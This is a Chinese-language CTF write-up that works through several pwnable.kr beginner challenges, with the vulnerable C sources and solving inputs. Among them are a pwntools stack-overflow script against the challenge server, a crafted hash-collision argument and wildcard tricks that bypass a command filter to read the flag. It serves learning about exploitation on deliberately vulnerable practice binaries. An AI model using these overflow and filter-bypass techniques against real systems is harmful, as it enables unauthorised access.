0x0 Toddler’s Bottle 
0x00 fd 
首先稍微学习一下file descriptor ,然后登录上去看看到底是什么情况。
1 2 3 4 5 6 7 8 9 10 11 fd@ubuntu:~$ ls  -alh total 40K drwxr-x---  5 root   fd   4.0K Oct 26  2016 . drwxr-xr-x 92 root   root 4.0K Aug 12 10:28 .. d---------  2 root   root 4.0K Jun 12  2014 .bash_history -rw-------  1 root   root  128 Oct 26  2016 .gdb_history dr-xr-xr-x  2 root   root 4.0K Dec 19  2016 .irssi drwxr-xr-x  2 root   root 4.0K Oct 23  2016 .pwntools-cache -r-sr-x---  1 fd_pwn fd   7.2K Jun 11  2014 fd -rw-r--r--  1 root   root  418 Jun 11  2014 fd.c -r--r-----  1 fd_pwn root   50 Jun 11  2014 flag 
 
可以看到除了隐藏文件就是 fd fd.c flag ,所以目标就是获取flag中的内容然后提交到网站上。 
但是由于权限问题我们是不能直接查看flag文件的,实际上在不能成为root的情况下只有通过可执行文件fd才有可能操作flag文件,因为fd带有Set UID 权限,在它运行的时候可以暂时获得fd_pwn这个用户的权限。那么剩下的那个fd.c文件可以推测是fd文件的源代码。 
另外,fd用户对当前目录没有write 权限,所以要通过查看fd.c分析fd的行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  char  buf[32 ];int  main (int  argc, char * argv[], char * envp[]) {        if (argc<2 ){                 printf ("pass argv[1] a number\n" );                 return  0 ;         }         int  fd = atoi( argv[1 ] ) - 0x1234 ;         int  len = 0 ;         len = read(fd, buf, 32 );         if (!strcmp ("LETMEWIN\n" , buf)){                 printf ("good job :)\n" );                 system("/bin/cat flag" );                 exit (0 );         }         printf ("learn about Linux file IO\n" );         return  0 ; } 
 
程序里用到的file descriptor 竟然不是open 返回的,而是根据命令行参数变换出来的,也就是说要给出一个数字,使得这个数字作为文件描述符对应的文件里的内容是特定的字符串。这在正常情况下是不可能的,因为一个文件的文件描述符只在同一个进程里是确定的,更何况当前用户也不能新建文件。但是UNIX下确实有三个文件的文件描述符是绝对确定 的,它们就是 stdin stdout stderr 。所以只要让fd变量等于0 ,我们就可以输入任意的内容,我觉得至少有三种方法:
非常普通的输入0x1234对应的十进制数,./fd 4660 
看起来太fancy但是实际上非常有用的命令,涉及到shell语言的弱引用以及python的命令行执行字符串 
 
 1 ./fd `python -c "print 0x1234" ` 
 
gdb可用,应该可以直接set fd甚至set buf(没有实际尝试) 
 
最后把打出来的内容贴到网站上这题就通过了。
0x01 collision 
权限控制和目标之类的跟上一题都是一样的,之后都省略了。 
home目录提供了可执行程序和C语言源程序,先看一下源程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include  <stdio.h>  #include  <string.h>  unsigned  long  hashcode = 0x21DD09EC ;unsigned  long  check_password (const  char * p) {        int * ip = (int *)p;         int  i;         int  res=0 ;         for (i=0 ; i<5 ; i++){                 res += ip[i];         }         return  res; } int  main (int  argc, char * argv[]) {        if (argc<2 ){                 printf ("usage : %s [passcode]\n" , argv[0 ]);                 return  0 ;         }         if (strlen (argv[1 ]) != 20 ){                 printf ("passcode length should be 20 bytes\n" );                 return  0 ;         }         if (hashcode == check_password( argv[1 ] )){                 system("/bin/cat flag" );                 return  0 ;         }         else                  printf ("wrong passcode.\n" );         return  0 ; } 
 
首先看到用法是命令行加一个字符串参数执行,字符串长度等于20才会进行之后的操作。然后看到check_password里面其实就是把4个char拼成1个int并全加起来。其实我们只需要4个就能控制最终结果,又因为\x00是C语言的字符串结束标志,我们可以前16个字节全都填\x01,然后计算一下最后4个字节应该是什么,注意一下小端序就可以。
1 ./col `python -c "print '\x01'*16 + '\xe8\x05\xd9\x1d'" ` 
 
NOTE: 最开始以为都要可打印字符暴力了很久。。。其实大概只要不包含控制字符就可以了? 
0x02 bof 
先把文件下载下来,稍微检查一下。
1 2 3 4 5 6 7 ➜  Documents checksec bof [*] '/home/zyyyyy/Documents/bof'      Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled 
 
源代码里有一个gets函数可以溢出。虽然开了金丝雀,反正还是拖进IDA看一看。一看,相对ebp寻址,那么首先输入偏移量这么多的字符,再输入4个字符覆盖栈中存的ebp,再输入4个字符覆盖栈中的返回地址,最后输入4个字符覆盖函数的第一个参数也就是key。这些可以参考C语言函数调用栈(一) 。
1 2 3 4 5 from  pwn import  *sh = remote('pwnable.kr' ,9000 ) payload = 'a' *0x2c  + 'bbbb'  + 'rrrr'  + p32(0xcafebabe ) sh.sendline(payload) sh.interactive() 
 
至于金丝雀为什么没有起作用其实从汇编层面更明显一点,实际上直到这个函数将要return的时候才会检查金丝雀值,然而程序执行到if然后马上又执行了一个system,也就是说在我们获得shell的时候还没金丝雀啥事,所以当然就可以啦。
0x03 flag 
执行一下,就输出一句话,也不接收什么东西。。。 
刚开始直接扔IDA了。。。然后看到了一大堆乱七八糟的东西。。。
1 2 3 4 5 6 7 8 9 ➜  Documents checksec flag  [*] '/home/zyyyyy/Documents/flag'      Arch:     amd64-64-little     RELRO:    No RELRO     Stack:    No canary found     NX:       NX disabled     PIE:      No PIE (0x400000)     RWX:      Has RWX segments     Packer:   Packed with UPX 
 
可以发现最下面出现一个packer,查一查UPX,开源软件而且可以直接apt装,装完以后解包再看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ➜  Documents upx -d flag                                 Ultimate Packer for  eXecutables                           Copyright (C) 1996 - 2013 UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013         File size         Ratio      Format      Name    --------------------   ------   -----------   -----------     887219 <-    335288   37.79%  linux/ElfAMD   flag Unpacked 1 file. ➜  Documents checksec flag        [*] '/home/zyyyyy/Documents/flag'      Arch:     amd64-64-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x400000) 
 
正常了,再扔IDA里面,F5看了半天。后来觉得应该看一下所有string(Shift+F12),第一行就出现了UPX,长得就像flag,提交一下果然对了。对了之后再看,发现在汇编界面main函数puts往下第四行赫然就写着cs:flag。。。猜测是因为用了静态链接,导致IDA反编译输出的代码非常复杂,啥都看不太懂。。。 
NOTE: 不能总是一上来就F5,不仅没啥提高还会导致丢失一些信息。。。 
0x05 random 
有源代码直接看源代码
1 2 unsigned  int  random;random = rand();         
 
显然rand()产生的是伪随机数,且不播种种子就是0,可以写个python算出应该输入的值
1 2 3 4 5 6 >>>  from  ctypes import  *>>>  libc = cdll.LoadLibrary("libc.so.6" )>>>  r = libc.rand()                                                             >>>  x = r ^ 0xdeadbeef >>>  print  x3039230856 
 
0x08 mistake 
直接看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int  fd;if (fd=open("/home/mistake/password" ,O_RDONLY,0400 ) < 0 ){        printf ("can't open password %d\n" , fd);         return  0 ; } printf ("do not bruteforce...\n" );sleep(time(0 )%20 ); char  pw_buf[PW_LEN+1 ];int  len;if (!(len=read(fd,pw_buf,PW_LEN) > 0 )){        printf ("read error\n" );         close(fd);         return  0 ; } 
 
显然两个if处都有优先级的问题,会先进行<>的运算再进行赋值,所以在文件存在的情况下fd一定等于0,也就是一定从stdin读入。根据后面的逻辑,即输入两个串使得第一个串异或1之后等于第二个串就可以了,例如
 
0x0d cmd1 
整个程序先putenv设置环境变量,然后filter过滤,最后由system函数执行。 
虽然设置了环境变量,但只要使用绝对路径一样可以调用。 
至于过滤也很好绕过。
1 2 ./cmd1 "/bin/cat f''lag"   ./cmd1 "/bin/cat f*"   
 
同理其实也可以进入cmd1_pwn组的shell
 
0x13 blukat 
描述非常神奇的一道题,做法也很神奇。 
登录上去以后看了一下代码,需要输入一个串使得跟password相等 
查看一下权限,跟其他的题是一样的
1 2 3 4 5 6 7 8 9 blukat@ubuntu:~$ ls  -alh total 36K drwxr-x---  4 root blukat     4.0K Aug 15 22:55 . drwxr-xr-x 93 root root       4.0K Oct 10 22:56 .. dr-xr-xr-x  2 root root       4.0K Aug 15 22:55 .irssi drwxr-xr-x  2 root root       4.0K Aug 15 22:55 .pwntools-cache -r-xr-sr-x  1 root blukat_pwn 9.0K Aug  8 06:44 blukat -rw-r--r--  1 root root        645 Aug  8 06:43 blukat.c -rw-r-----  1 root blukat_pwn   33 Jan  6  2017 password 
 
尝试一下查看password
1 2 blukat@ubuntu:~$ cat  password cat : password: Permission denied
 
看上去就像个权限不够的提示,但是实际上用more/less/vim就会发现问题。。。 
其实这句话就是password文件的全部内容。。。
1 2 blukat@ubuntu:~$ id  uid=1104(blukat) gid=1104(blukat) groups =1104(blukat),1105(blukat_pwn) 
 
NOTE: 这个题目告诉我们当前的身份很重要,包括group权限!